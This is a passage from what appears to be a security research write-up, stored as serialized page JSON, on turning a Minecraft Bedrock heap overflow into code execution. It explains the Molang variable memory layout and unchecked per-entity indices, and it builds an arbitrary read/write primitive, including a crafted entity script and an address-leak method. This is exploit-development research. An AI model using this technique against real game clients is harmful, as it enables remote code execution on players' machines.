MolangScriptArg",{"type":23,"tag":24,"props":151843,"children":151844},{},[151845,151846,151852],{"type":28,"value":101603},{"type":23,"tag":94,"props":151847,"children":151849},{"className":151848},[],[151850],{"type":28,"value":151851},"MolangVariable",{"type":28,"value":151853}," structure is created for every declared variable. Simplified, it looks something like this:",{"type":23,"tag":304,"props":151855,"children":151857},{"code":151856,"language":308,"meta":7,"className":306,"style":7},"struct MolangVariable {\n \n struct HashedString {\n uint64_t variable_name_hash;\n std::string variable_name;\n };\n \n struct MolangScriptArg {\n uint32_t value_type;\n uint64_t value;\n std::vector\u003Cstruct MolangScriptArg> struct_fields;\n \n [...]\n };\n};\n",[151858],{"type":23,"tag":94,"props":151859,"children":151860},{"__ignoreMap":7},[151861,151873,151880,151892,151905,151913,151920,151927,151939,151952,151964,151994,152002,152009,152016],{"type":23,"tag":314,"props":151862,"children":151863},{"class":316,"line":317},[151864,151868],{"type":23,"tag":314,"props":151865,"children":151866},{"style":321},[151867],{"type":28,"value":8651},{"type":23,"tag":314,"props":151869,"children":151870},{"style":338},[151871],{"type":28,"value":151872}," MolangVariable {\n",{"type":23,"tag":314,"props":151874,"children":151875},{"class":316,"line":370},[151876],{"type":23,"tag":314,"props":151877,"children":151878},{"style":338},[151879],{"type":28,"value":61038},{"type":23,"tag":314,"props":151881,"children":151882},{"class":316,"line":380},[151883,151887],{"type":23,"tag":314,"props":151884,"children":151885},{"style":321},[151886],{"type":28,"value":5307},{"type":23,"tag":314,"props":151888,"children":151889},{"style":338},[151890],{"type":28,"value":151891}," HashedString {\n",{"type":23,"tag":314,"props":151893,"children":151894},{"class":316,"line":1091},[151895,151900],{"type":23,"tag":314,"props":151896,"children":151897},{"style":321},[151898],{"type":28,"value":151899}," uint64_t",{"type":23,"tag":314,"props":151901,"children":151902},{"style":338},[151903],{"type":28,"value":151904}," variable_name_hash;\n",{"type":23,"tag":314,"props":151906,"children":151907},{"class":316,"line":1141},[151908],{"type":23,"tag":314,"props":151909,"children":151910},{"style":338},[151911],{"type":28,"value":151912}," std::string variable_name;\n",{"type":23,"tag":314,"props":151914,"children":151915},{"class":316,"line":1173},[151916],{"type":23,"tag":314,"props":151917,"children":151918},{"style":338},[151919],{"type":28,"value":38244},{"type":23,"tag":314,"props":151921,"children":151922},{"class":316,"line":1208},[151923],{"type":23,"tag":314,"props":151924,"children":151925},{"style":338},[151926],{"type":28,"value":61038},{"type":23,"tag":314,"props":151928,"children":151929},{"class":316,"line":1216},[151930,151934],{"type":23,"tag":314,"props":151931,"children":151932},{"style":321},[151933],{"type":28,"value":5307},{"type":23,"tag":314,"props":151935,"children":151936},{"style":338},[151937],{"type":28,"value":151938}," MolangScriptArg {\n",{"type":23,"tag":314,"props":151940,"children":151941},{"class":316,"line":1301},[151942,151947],{"type":23,"tag":314,"props":151943,"children":151944},{"style":321},[151945],{"type":28,"value":151946}," uint32_t",{"type":23,"tag":314,"props":151948,"children":151949},{"style":338},[151950],{"type":28,"value":151951}," value_type;\n",{"type":23,"tag":314,"props":151953,"children":151954},{"class":316,"line":1343},[151955,151959],{"type":23,"tag":314,"props":151956,"children":151957},{"style":321},[151958],{"type":28,"value":151899},{"type":23,"tag":314,"props":151960,"children":151961},{"style":338},[151962],{"type":28,"value":151963}," value;\n",{"type":23,"tag":314,"props":151965,"children":151966},{"class":316,"line":1351},[151967,151972,151976,151980,151985,151989],{"type":23,"tag":314,"props":151968,"children":151969},{"style":338},[151970],{"type":28,"value":151971}," std::vector",{"type":23,"tag":314,"props":151973,"children":151974},{"style":354},[151975],{"type":28,"value":5060},{"type":23,"tag":314,"props":151977,"children":151978},{"style":321},[151979],{"type":28,"value":8651},{"type":23,"tag":314,"props":151981,"children":151982},{"style":338},[151983],{"type":28,"value":151984}," MolangScriptArg",{"type":23,"tag":314,"props":151986,"children":151987},{"style":354},[151988],{"type":28,"value":9710},{"type":23,"tag":314,"props":151990,"children":151991},{"style":338},[151992],{"type":28,"value":151993}," struct_fields;\n",{"type":23,"tag":314,"props":151995,"children":151996},{"class":316,"line":1387},[151997],{"type":23,"tag":314,"props":151998,"children":151999},{"style":338},[152000],{"type":28,"value":152001}," \n",{"type":23,"tag":314,"props":152003,"children":152004},{"class":316,"line":1422},[152005],{"type":23,"tag":314,"props":152006,"children":152007},{"style":338},[152008],{"type":28,"value":123291},{"type":23,"tag":314,"props":152010,"children":152011},{"class":316,"line":1430},[152012],{"type":23,"tag":314,"props":152013,"children":152014},{"style":338},[152015],{"type":28,"value":38244},{"type":23,"tag":314,"props":152017,"children":152018},{"class":316,"line":1452},[152019],{"type":23,"tag":314,"props":152020,"children":152021},{"style":338},[152022],{"type":28,"value":1545},{"type":23,"tag":24,"props":152024,"children":152025},{},[152026,152028,152033],{"type":28,"value":152027},"In memory a ",{"type":23,"tag":94,"props":152029,"children":152031},{"className":152030},[],[152032],{"type":28,"value":151851},{"type":28,"value":152034}," instance resembles:",{"type":23,"tag":304,"props":152036,"children":152038},{"code":152037}," +---------------+---------------+\n+0x00 | FNV-1 hash |std::string.buf|\n +---------------+---------------+\n+0x10 |std::string.buf|std::string.len|\n +---------------+---------------+\n+0x20 |std::string.cap| Unknown |\n +-------+-------+---------------+\n+0x30 | Type |Unused |Variable value |\n +-------+-------+---------------+\n+0x40 |std::vector.buf|std::vector.len|\n +---------------+---------------+\n+0x50 |std::vector.cap| Unknown |\n +---------------+---------------+\n | . . . | . . . |\n",[152039],{"type":23,"tag":94,"props":152040,"children":152041},{"__ignoreMap":7},[152042],{"type":28,"value":152037},{"type":23,"tag":24,"props":152044,"children":152045},{},[152046],{"type":28,"value":152047},"For reference, example debugger view of the layout:",{"type":23,"tag":24,"props":152049,"children":152050},{},[152051],{"type":23,"tag":197,"props":152052,"children":152054},{"alt":49829,"src":152053},"/posts/minecraft-heap-overflow-to-rce/image8.png",[],{"type":23,"tag":24,"props":152056,"children":152057},{},[152058],{"type":28,"value":152059},"The full structure is larger and contains more fields than shown, but many are irrelevant to the exploit.",{"type":23,"tag":24,"props":152061,"children":152062},{},[152063,152065,152071,152073,152078,152080,152086,152088,152093,152094,152099,152101,152106,152107,152113,152114,152120],{"type":28,"value":152064},"We only care about the ",{"type":23,"tag":94,"props":152066,"children":152068},{"className":152067},[],[152069],{"type":28,"value":152070},"MolangScriptArg",{"type":28,"value":152072}," beginning at offset ",{"type":23,"tag":94,"props":152074,"children":152076},{"className":152075},[],[152077],{"type":28,"value":128169},{"type":28,"value":152079}," because it contains variable values. In the screenshot above, the ",{"type":23,"tag":94,"props":152081,"children":152083},{"className":152082},[],[152084],{"type":28,"value":152085},"value_type",{"type":28,"value":152087}," at ",{"type":23,"tag":94,"props":152089,"children":152091},{"className":152090},[],[152092],{"type":28,"value":128169},{"type":28,"value":4756},{"type":23,"tag":94,"props":152095,"children":152097},{"className":152096},[],[152098],{"type":28,"value":1600},{"type":28,"value":152100}," (meaning float), and the ",{"type":23,"tag":94,"props":152102,"children":152104},{"className":152103},[],[152105],{"type":28,"value":38399},{"type":28,"value":152087},{"type":23,"tag":94,"props":152108,"children":152110},{"className":152109},[],[152111],{"type":28,"value":152112},"0x38",{"type":28,"value":4756},{"type":23,"tag":94,"props":152115,"children":152117},{"className":152116},[],[152118],{"type":28,"value":152119},"0xbf2070c8",{"type":28,"value":282},{"type":23,"tag":24,"props":152122,"children":152123},{},[152124,152126,152132,152134,152139,152141,152146,152147,152152,152154,152159,152161,152166],{"type":28,"value":152125},"During assignment, such as ",{"type":23,"tag":94,"props":152127,"children":152129},{"className":152128},[],[152130],{"type":28,"value":152131},"variable.a = variable.b",{"type":28,"value":152133},", each field of ",{"type":23,"tag":94,"props":152135,"children":152137},{"className":152136},[],[152138],{"type":28,"value":152070},{"type":28,"value":152140}," is copied from variable ",{"type":23,"tag":94,"props":152142,"children":152144},{"className":152143},[],[152145],{"type":28,"value":2477},{"type":28,"value":56027},{"type":23,"tag":94,"props":152148,"children":152150},{"className":152149},[],[152151],{"type":28,"value":31},{"type":28,"value":152153},". Interestingly, the ",{"type":23,"tag":94,"props":152155,"children":152157},{"className":152156},[],[152158],{"type":28,"value":38399},{"type":28,"value":152160}," field is always copied as a ",{"type":23,"tag":94,"props":152162,"children":152164},{"className":152163},[],[152165],{"type":28,"value":54885},{"type":28,"value":152167}," even if the type is a 32-bit float.",{"type":23,"tag":24,"props":152169,"children":152170},{},[152171,152173,152179],{"type":28,"value":152172},"Each entity stores its variables in a per-entity vector called ",{"type":23,"tag":94,"props":152174,"children":152176},{"className":152175},[],[152177],{"type":28,"value":152178},"MolangVariableMap",{"type":28,"value":282},{"type":23,"tag":18130,"props":152181,"children":152183},{"id":152182},"molangvariablemap",[152184],{"type":28,"value":152178},{"type":23,"tag":24,"props":152186,"children":152187},{},[152188,152193,152195,152201,152203,152209],{"type":23,"tag":94,"props":152189,"children":152191},{"className":152190},[],[152192],{"type":28,"value":152178},{"type":28,"value":152194}," is simply a ",{"type":23,"tag":94,"props":152196,"children":152198},{"className":152197},[],[152199],{"type":28,"value":152200},"std::vector\u003CMolangVariable *>",{"type":28,"value":152202}," contained per entity. To reason about its memory we need to recall MSVC ",{"type":23,"tag":94,"props":152204,"children":152206},{"className":152205},[],[152207],{"type":28,"value":152208},"std::vector",{"type":28,"value":152210}," layout:",{"type":23,"tag":304,"props":152212,"children":152214},{"code":152213,"language":308,"meta":7,"className":306,"style":7},"struct vector {\n void *buf;\n void *len;\n void *cap;\n};\n",[152215],{"type":23,"tag":94,"props":152216,"children":152217},{"__ignoreMap":7},[152218,152230,152246,152262,152278],{"type":23,"tag":314,"props":152219,"children":152220},{"class":316,"line":317},[152221,152225],{"type":23,"tag":314,"props":152222,"children":152223},{"style":321},[152224],{"type":28,"value":8651},{"type":23,"tag":314,"props":152226,"children":152227},{"style":338},[152228],{"type":28,"value":152229}," vector {\n",{"type":23,"tag":314,"props":152231,"children":152232},{"class":316,"line":370},[152233,152237,152241],{"type":23,"tag":314,"props":152234,"children":152235},{"style":321},[152236],{"type":28,"value":15788},{"type":23,"tag":314,"props":152238,"children":152239},{"style":354},[152240],{"type":28,"value":357},{"type":23,"tag":314,"props":152242,"children":152243},{"style":338},[152244],{"type":28,"value":152245},"buf;\n",{"type":23,"tag":314,"props":152247,"children":152248},{"class":316,"line":380},[152249,152253,152257],{"type":23,"tag":314,"props":152250,"children":152251},{"style":321},[152252],{"type":28,"value":15788},{"type":23,"tag":314,"props":152254,"children":152255},{"style":354},[152256],{"type":28,"value":357},{"type":23,"tag":314,"props":152258,"children":152259},{"style":338},[152260],{"type":28,"value":152261},"len;\n",{"type":23,"tag":314,"props":152263,"children":152264},{"class":316,"line":1091},[152265,152269,152273],{"type":23,"tag":314,"props":152266,"children":152267},{"style":321},[152268],{"type":28,"value":15788},{"type":23,"tag":314,"props":152270,"children":152271},{"style":354},[152272],{"type":28,"value":357},{"type":23,"tag":314,"props":152274,"children":152275},{"style":338},[152276],{"type":28,"value":152277},"cap;\n",{"type":23,"tag":314,"props":152279,"children":152280},{"class":316,"line":1141},[152281],{"type":23,"tag":314,"props":152282,"children":152283},{"style":338},[152284],{"type":28,"value":1545},{"type":23,"tag":24,"props":152286,"children":152287},{},[152288,152293,152295,152300,152302,152308,152310,152315,152316,152321],{"type":23,"tag":94,"props":152289,"children":152291},{"className":152290},[],[152292],{"type":28,"value":149374},{"type":28,"value":152294}," points to the allocated array of elements, ",{"type":23,"tag":94,"props":152296,"children":152298},{"className":152297},[],[152299],{"type":28,"value":8389},{"type":28,"value":152301}," points just past the last used element, and ",{"type":23,"tag":94,"props":152303,"children":152305},{"className":152304},[],[152306],{"type":28,"value":152307},"cap",{"type":28,"value":152309}," points to the end of the allocated buffer. Notably, the types of ",{"type":23,"tag":94,"props":152311,"children":152313},{"className":152312},[],[152314],{"type":28,"value":8389},{"type":28,"value":557},{"type":23,"tag":94,"props":152317,"children":152319},{"className":152318},[],[152320],{"type":28,"value":152307},{"type":28,"value":152322}," aren't typical integer types for sizes, but both are pointers.",{"type":23,"tag":24,"props":152324,"children":152325},{},[152326],{"type":28,"value":152327},"Example layout for a vector holding three variable pointers plus one unused slot:",{"type":23,"tag":304,"props":152329,"children":152331},{"code":152330},"+---------+ +--------------------+\n| buf +-------> | MolangVariable A* |\n+---------+ +--------------------+\n| len +----+ | MolangVariable B* |\n+---------+ | +--------------------+\n| cap | | | MolangVariable C* |\n+----+----+ | +--------------------+\n | +--> | Empty element slot |\n | +--------------------+\n | ^\n +-----------------------------------+\n",[152332],{"type":23,"tag":94,"props":152333,"children":152334},{"__ignoreMap":7},[152335],{"type":28,"value":152330},{"type":23,"tag":24,"props":152337,"children":152338},{},[152339,152341,152347,152349,152355],{"type":28,"value":152340},"Because each entity can create and initialize variables independently, the indices of specific variables (e.g., ",{"type":23,"tag":94,"props":152342,"children":152344},{"className":152343},[],[152345],{"type":28,"value":152346},"variable.result",{"type":28,"value":152348},") may differ between entities. To get around this, ",{"type":23,"tag":94,"props":152350,"children":152352},{"className":152351},[],[152353],{"type":28,"value":152354},"MolangIndexMap",{"type":28,"value":152356}," is used to map a global variable name to the correct per-entity slot.",{"type":23,"tag":18130,"props":152358,"children":152360},{"id":152359},"molangindexmap",[152361],{"type":28,"value":152354},{"type":23,"tag":24,"props":152363,"children":152364},{},[152365,152370,152372,152378,152380,152386],{"type":23,"tag":94,"props":152366,"children":152368},{"className":152367},[],[152369],{"type":28,"value":152354},{"type":28,"value":152371}," is a per-entity ",{"type":23,"tag":94,"props":152373,"children":152375},{"className":152374},[],[152376],{"type":28,"value":152377},"std::vector\u003Cuint16_t>",{"type":28,"value":152379},". The engine maintains a global hashmap that maps variable names to a global index. When the client encounters a statement like ",{"type":23,"tag":94,"props":152381,"children":152383},{"className":152382},[],[152384],{"type":28,"value":152385},"variable.result = 0",{"type":28,"value":152387}," it:",{"type":23,"tag":84,"props":152389,"children":152390},{},[152391,152401,152411],{"type":23,"tag":88,"props":152392,"children":152393},{},[152394,152396],{"type":28,"value":152395},"Checks the global hashmap for ",{"type":23,"tag":94,"props":152397,"children":152399},{"className":152398},[],[152400],{"type":28,"value":8333},{"type":23,"tag":88,"props":152402,"children":152403},{},[152404,152406],{"type":28,"value":152405},"If found, uses the global index to look up the per-entity index in ",{"type":23,"tag":94,"props":152407,"children":152409},{"className":152408},[],[152410],{"type":28,"value":152354},{"type":23,"tag":88,"props":152412,"children":152413},{},[152414,152416],{"type":28,"value":152415},"If not found, creates a new global entry and assigns it ",{"type":23,"tag":94,"props":152417,"children":152419},{"className":152418},[],[152420],{"type":28,"value":152421},"last_index + 1",{"type":23,"tag":24,"props":152423,"children":152424},{},[152425,152427,152432,152434,152439,152441,152446,152448,152453,152455,152460,152461,152467,152469,152474],{"type":28,"value":152426},"This means the same global index for variable ",{"type":23,"tag":94,"props":152428,"children":152430},{"className":152429},[],[152431],{"type":28,"value":8333},{"type":28,"value":152433}," maps to the same position inside every entity’s ",{"type":23,"tag":94,"props":152435,"children":152437},{"className":152436},[],[152438],{"type":28,"value":152354},{"type":28,"value":152440},", but the actual ",{"type":23,"tag":94,"props":152442,"children":152444},{"className":152443},[],[152445],{"type":28,"value":151851},{"type":28,"value":152447}," for ",{"type":23,"tag":94,"props":152449,"children":152451},{"className":152450},[],[152452],{"type":28,"value":8333},{"type":28,"value":152454}," may live at different slots inside each entity's ",{"type":23,"tag":94,"props":152456,"children":152458},{"className":152457},[],[152459],{"type":28,"value":152178},{"type":28,"value":17770},{"type":23,"tag":94,"props":152462,"children":152464},{"className":152463},[],[152465],{"type":28,"value":152466},"Entity.MolangIndexMap[global_index]",{"type":28,"value":152468}," stores the per-entity index (slot) of variable ",{"type":23,"tag":94,"props":152470,"children":152472},{"className":152471},[],[152473],{"type":28,"value":8333},{"type":28,"value":282},{"type":23,"tag":24,"props":152476,"children":152477},{},[152478,152480,152485,152487,152492,152494,152499,152501,152506,152508,152514,152516,152521],{"type":28,"value":152479},"Importantly, we found that indices in the ",{"type":23,"tag":94,"props":152481,"children":152483},{"className":152482},[],[152484],{"type":28,"value":152354},{"type":28,"value":152486}," are trusted and the client does not validate that a per-entity index actually lies within the bounds of that entity’s ",{"type":23,"tag":94,"props":152488,"children":152490},{"className":152489},[],[152491],{"type":28,"value":152178},{"type":28,"value":152493},". This means that if we overwrite the index of variable ",{"type":23,"tag":94,"props":152495,"children":152497},{"className":152496},[],[152498],{"type":28,"value":8333},{"type":28,"value":152500}," (an example, it can be any variable) with the chunk overlap and make it out-of-bounds for that entity’s ",{"type":23,"tag":94,"props":152502,"children":152504},{"className":152503},[],[152505],{"type":28,"value":152178},{"type":28,"value":152507},", we could read from and write to ",{"type":23,"tag":94,"props":152509,"children":152511},{"className":152510},[],[152512],{"type":28,"value":152513},"address + 0x38",{"type":28,"value":152515}," through ",{"type":23,"tag":94,"props":152517,"children":152519},{"className":152518},[],[152520],{"type":28,"value":152346},{"type":28,"value":282},{"type":23,"tag":837,"props":152523,"children":152525},{"id":152524},"building-a-molang-arbitrary-rw-primitive",[152526],{"type":28,"value":152527},"Building a Molang Arbitrary R/W Primitive",{"type":23,"tag":24,"props":152529,"children":152530},{},[152531,152533,152538,152540,152545],{"type":28,"value":152532},"We needed some pointer inside a heap-sprayable object that we could use to build an arbitrary read/write primitive in Molang. Eventually, we came up with the thought of using internal pointers of ",{"type":23,"tag":94,"props":152534,"children":152536},{"className":152535},[],[152537],{"type":28,"value":152208},{"type":28,"value":152539}," - specifically, of ",{"type":23,"tag":94,"props":152541,"children":152543},{"className":152542},[],[152544],{"type":28,"value":152178},{"type":28,"value":152546}," vector.",{"type":23,"tag":24,"props":152548,"children":152549},{},[152550,152552,152557,152559,152564,152565,152570,152572,152577],{"type":28,"value":152551},"Because every entity object is heap-allocated and contains a ",{"type":23,"tag":94,"props":152553,"children":152555},{"className":152554},[],[152556],{"type":28,"value":152178},{"type":28,"value":152558}," vector, we realised we might be able to overwrite a variable index so it reads the ",{"type":23,"tag":94,"props":152560,"children":152562},{"className":152561},[],[152563],{"type":28,"value":149374},{"type":28,"value":55042},{"type":23,"tag":94,"props":152566,"children":152568},{"className":152567},[],[152569],{"type":28,"value":152178},{"type":28,"value":152571}," vector belonging to an entity object placed just next the ",{"type":23,"tag":94,"props":152573,"children":152575},{"className":152574},[],[152576],{"type":28,"value":152178},{"type":28,"value":152578}," allocated buffer.",{"type":23,"tag":304,"props":152580,"children":152582},{"code":152581}," +-------------+ \u003C--+ \n+---> | variable.a | | \n| +-------------+ | \n| | variable.b | | \n| +-------------+ +- MolangVariableMap allocated buffer\n| | . . . | | \n| +-------------+ | \n| | variable.f | | \n| +-------------+ \u003C--+--+ \n| | | | \n| | | | \n| | | | \n| | | | \n| +------+------+ +- Entity Object \n+-----+ buf | len | | \n +------+------+ | \n | cap | | | \n +------+ | | \n +-------------+ \u003C-----+ \n",[152583],{"type":23,"tag":94,"props":152584,"children":152585},{"__ignoreMap":7},[152586],{"type":28,"value":152581},{"type":23,"tag":24,"props":152588,"children":152589},{},[152590,152592,152597,152599,152605,152607,152612,152613,152619,152620,152625,152627,152632,152634,152639,152641,152646,152648,152653,152655,152660,152662,152667,152669,152675,152677,152682,152684,152689],{"type":28,"value":152591},"In the scenario above, the ",{"type":23,"tag":94,"props":152593,"children":152595},{"className":152594},[],[152596],{"type":28,"value":152354},{"type":28,"value":152598}," would map ",{"type":23,"tag":94,"props":152600,"children":152602},{"className":152601},[],[152603],{"type":28,"value":152604},"variable.a",{"type":28,"value":152606}," -> index ",{"type":23,"tag":94,"props":152608,"children":152610},{"className":152609},[],[152611],{"type":28,"value":1600},{"type":28,"value":778},{"type":23,"tag":94,"props":152614,"children":152616},{"className":152615},[],[152617],{"type":28,"value":152618},"variable.b",{"type":28,"value":152606},{"type":23,"tag":94,"props":152621,"children":152623},{"className":152622},[],[152624],{"type":28,"value":3267},{"type":28,"value":152626},", and so on. If we overwrite the index for ",{"type":23,"tag":94,"props":152628,"children":152630},{"className":152629},[],[152631],{"type":28,"value":152604},{"type":28,"value":152633}," with a value that is out-of-bounds for the ",{"type":23,"tag":94,"props":152635,"children":152637},{"className":152636},[],[152638],{"type":28,"value":152178},{"type":28,"value":152640},", it can instead index the ",{"type":23,"tag":94,"props":152642,"children":152644},{"className":152643},[],[152645],{"type":28,"value":149374},{"type":28,"value":152647}," field of the entity object above. Reading ",{"type":23,"tag":94,"props":152649,"children":152651},{"className":152650},[],[152652],{"type":28,"value":152604},{"type":28,"value":152654}," will then return the pointer stored at offset ",{"type":23,"tag":94,"props":152656,"children":152658},{"className":152657},[],[152659],{"type":28,"value":152112},{"type":28,"value":152661}," from the start of the ",{"type":23,"tag":94,"props":152663,"children":152665},{"className":152664},[],[152666],{"type":28,"value":152178},{"type":28,"value":152668}," (which in this diagram corresponds to ",{"type":23,"tag":94,"props":152670,"children":152672},{"className":152671},[],[152673],{"type":28,"value":152674},"variable.f",{"type":28,"value":152676},"), and writing to ",{"type":23,"tag":94,"props":152678,"children":152680},{"className":152679},[],[152681],{"type":28,"value":152604},{"type":28,"value":152683}," will overwrite that pointer - corrupting ",{"type":23,"tag":94,"props":152685,"children":152687},{"className":152686},[],[152688],{"type":28,"value":152674},{"type":28,"value":282},{"type":23,"tag":24,"props":152691,"children":152692},{},[152693,152695,152700,152701,152707,152709,152714,152716,152722,152724,152729,152731,152736,152738,152744,152746,152752,152754,152759],{"type":28,"value":152694},"To leak the address of the Minecraft executable we could increment ",{"type":23,"tag":94,"props":152696,"children":152698},{"className":152697},[],[152699],{"type":28,"value":152604},{"type":28,"value":2324},{"type":23,"tag":94,"props":152702,"children":152704},{"className":152703},[],[152705],{"type":28,"value":152706},"variable.a += 8",{"type":28,"value":152708},"), which advances the pointer used for ",{"type":23,"tag":94,"props":152710,"children":152712},{"className":152711},[],[152713],{"type":28,"value":152674},{"type":28,"value":152715}," by 8 bytes. The Molang script would repeat this until it finds a vtable pointer in the heap. At that point we can write arbitrary values into writable regions of the Minecraft process by setting ",{"type":23,"tag":94,"props":152717,"children":152719},{"className":152718},[],[152720],{"type":28,"value":152721},"variable.a = variable.exe_leak + \u003Coffset>",{"type":28,"value":152723}," - this updates the ",{"type":23,"tag":94,"props":152725,"children":152727},{"className":152726},[],[152728],{"type":28,"value":152674},{"type":28,"value":152730}," pointer to our chosen address, and writing to ",{"type":23,"tag":94,"props":152732,"children":152734},{"className":152733},[],[152735],{"type":28,"value":152674},{"type":28,"value":152737},", for example ",{"type":23,"tag":94,"props":152739,"children":152741},{"className":152740},[],[152742],{"type":28,"value":152743},"variable.f = 1337",{"type":28,"value":152745},", writes the value ",{"type":23,"tag":94,"props":152747,"children":152749},{"className":152748},[],[152750],{"type":28,"value":152751},"1337",{"type":28,"value":152753}," to offset ",{"type":23,"tag":94,"props":152755,"children":152757},{"className":152756},[],[152758],{"type":28,"value":152112},{"type":28,"value":152760}," from that calculated address.",{"type":23,"tag":18130,"props":152762,"children":152764},{"id":152763},"testing-the-idea",[152765],{"type":28,"value":152766},"Testing the Idea",{"type":23,"tag":24,"props":152768,"children":152769},{},[152770,152772,152777,152779,152784,152786,152791],{"type":28,"value":152771},"We tested the idea by manually adding a pointer to the start of ",{"type":23,"tag":94,"props":152773,"children":152775},{"className":152774},[],[152776],{"type":28,"value":152178},{"type":28,"value":152778}," and modifying the index of a variable so that it indexed this out-of-bounds pointer. It ",{"type":23,"tag":186,"props":152780,"children":152781},{},[152782],{"type":28,"value":152783},"almost",{"type":28,"value":152785}," worked - below is the state of the ",{"type":23,"tag":94,"props":152787,"children":152789},{"className":152788},[],[152790],{"type":28,"value":152178},{"type":28,"value":152792},"'s allocated buffer before the Molang script executes:",{"type":23,"tag":24,"props":152794,"children":152795},{},[152796],{"type":23,"tag":197,"props":152797,"children":152799},{"alt":49829,"src":152798},"/posts/minecraft-heap-overflow-to-rce/image9.png",[],{"type":23,"tag":24,"props":152801,"children":152802},{},[152803],{"type":28,"value":152804},"And this is after execution:",{"type":23,"tag":24,"props":152806,"children":152807},{},[152808],{"type":23,"tag":197,"props":152809,"children":152811},{"alt":49829,"src":152810},"/posts/minecraft-heap-overflow-to-rce/image10.png",[],{"type":23,"tag":24,"props":152813,"children":152814},{},[152815],{"type":28,"value":152816},"For reference, this is what the relevant entity json file containing our Molang looks like:",{"type":23,"tag":304,"props":152818,"children":152820},{"code":152819,"language":33246,"meta":7,"className":33244,"style":7},"{\n \"format_version\": \"1.10.0\",\n \"minecraft:client_entity\": {\n \"description\": {\n \"identifier\": \"minecraft:leash_knot\",\n\n [...]\n \n \"scripts\": {\n \"initialize\": [\n \"variable.a = 0;\",\n \"variable.b = 0;\",\n \"variable.c = 0;\",\n [...]\n ],\n \"pre_animation\": [\n \"variable.a = 2.310732e-27;\"\n ]\n },\n }\n }\n}\n",[152821],{"type":23,"tag":94,"props":152822,"children":152823},{"__ignoreMap":7},[152824,152831,152852,152864,152876,152897,152904,152911,152918,152930,152943,152955,152967,152979,152995,153002,153014,153022,153030,153037,153044,153051],{"type":23,"tag":314,"props":152825,"children":152826},{"class":316,"line":317},[152827],{"type":23,"tag":314,"props":152828,"children":152829},{"style":338},[152830],{"type":28,"value":10129},{"type":23,"tag":314,"props":152832,"children":152833},{"class":316,"line":370},[152834,152839,152843,152848],{"type":23,"tag":314,"props":152835,"children":152836},{"style":360},[152837],{"type":28,"value":152838}," \"format_version\"",{"type":23,"tag":314,"props":152840,"children":152841},{"style":338},[152842],{"type":28,"value":14573},{"type":23,"tag":314,"props":152844,"children":152845},{"style":1245},[152846],{"type":28,"value":152847},"\"1.10.0\"",{"type":23,"tag":314,"props":152849,"children":152850},{"style":338},[152851],{"type":28,"value":1870},{"type":23,"tag":314,"props":152853,"children":152854},{"class":316,"line":380},[152855,152860],{"type":23,"tag":314,"props":152856,"children":152857},{"style":360},[152858],{"type":28,"value":152859}," \"minecraft:client_entity\"",{"type":23,"tag":314,"props":152861,"children":152862},{"style":338},[152863],{"type":28,"value":36271},{"type":23,"tag":314,"props":152865,"children":152866},{"class":316,"line":1091},[152867,152872],{"type":23,"tag":314,"props":152868,"children":152869},{"style":360},[152870],{"type":28,"value":152871}," \"description\"",{"type":23,"tag":314,"props":152873,"children":152874},{"style":338},[152875],{"type":28,"value":36271},{"type":23,"tag":314,"props":152877,"children":152878},{"class":316,"line":1141},[152879,152884,152888,152893],{"type":23,"tag":314,"props":152880,"children":152881},{"style":360},[152882],{"type":28,"value":152883}," \"identifier\"",{"type":23,"tag":314,"props":152885,"children":152886},{"style":338},[152887],{"type":28,"value":14573},{"type":23,"tag":314,"props":152889,"children":152890},{"style":1245},[152891],{"type":28,"value":152892},"\"minecraft:leash_knot\"",{"type":23,"tag":314,"props":152894,"children":152895},{"style":338},[152896],{"type":28,"value":1870},{"type":23,"tag":314,"props":152898,"children":152899},{"class":316,"line":1173},[152900],{"type":23,"tag":314,"props":152901,"children":152902},{"emptyLinePlaceholder":18},[152903],{"type":28,"value":1088},{"type":23,"tag":314,"props":152905,"children":152906},{"class":316,"line":1208},[152907],{"type":23,"tag":314,"props":152908,"children":152909},{"style":21644},[152910],{"type":28,"value":126692},{"type":23,"tag":314,"props":152912,"children":152913},{"class":316,"line":1216},[152914],{"type":23,"tag":314,"props":152915,"children":152916},{"style":338},[152917],{"type":28,"value":152001},{"type":23,"tag":314,"props":152919,"children":152920},{"class":316,"line":1301},[152921,152926],{"type":23,"tag":314,"props":152922,"children":152923},{"style":360},[152924],{"type":28,"value":152925}," \"scripts\"",{"type":23,"tag":314,"props":152927,"children":152928},{"style":338},[152929],{"type":28,"value":36271},{"type":23,"tag":314,"props":152931,"children":152932},{"class":316,"line":1343},[152933,152938],{"type":23,"tag":314,"props":152934,"children":152935},{"style":360},[152936],{"type":28,"value":152937}," \"initialize\"",{"type":23,"tag":314,"props":152939,"children":152940},{"style":338},[152941],{"type":28,"value":152942},": [\n",{"type":23,"tag":314,"props":152944,"children":152945},{"class":316,"line":1351},[152946,152951],{"type":23,"tag":314,"props":152947,"children":152948},{"style":1245},[152949],{"type":28,"value":152950}," \"variable.a = 0;\"",{"type":23,"tag":314,"props":152952,"children":152953},{"style":338},[152954],{"type":28,"value":1870},{"type":23,"tag":314,"props":152956,"children":152957},{"class":316,"line":1387},[152958,152963],{"type":23,"tag":314,"props":152959,"children":152960},{"style":1245},[152961],{"type":28,"value":152962}," \"variable.b = 0;\"",{"type":23,"tag":314,"props":152964,"children":152965},{"style":338},[152966],{"type":28,"value":1870},{"type":23,"tag":314,"props":152968,"children":152969},{"class":316,"line":1422},[152970,152975],{"type":23,"tag":314,"props":152971,"children":152972},{"style":1245},[152973],{"type":28,"value":152974}," \"variable.c = 0;\"",{"type":23,"tag":314,"props":152976,"children":152977},{"style":338},[152978],{"type":28,"value":1870},{"type":23,"tag":314,"props":152980,"children":152981},{"class":316,"line":1430},[152982,152987,152991],{"type":23,"tag":314,"props":152983,"children":152984},{"style":338},[152985],{"type":28,"value":152986}," [",{"type":23,"tag":314,"props":152988,"children":152989},{"style":21644},[152990],{"type":28,"value":8840},{"type":23,"tag":314,"props":152992,"children":152993},{"style":338},[152994],{"type":28,"value":11020},{"type":23,"tag":314,"props":152996,"children":152997},{"class":316,"line":1452},[152998],{"type":23,"tag":314,"props":152999,"children":153000},{"style":338},[153001],{"type":28,"value":42899},{"type":23,"tag":314,"props":153003,"children":153004},{"class":316,"line":1497},[153005,153010],{"type":23,"tag":314,"props":153006,"children":153007},{"style":360},[153008],{"type":28,"value":153009}," 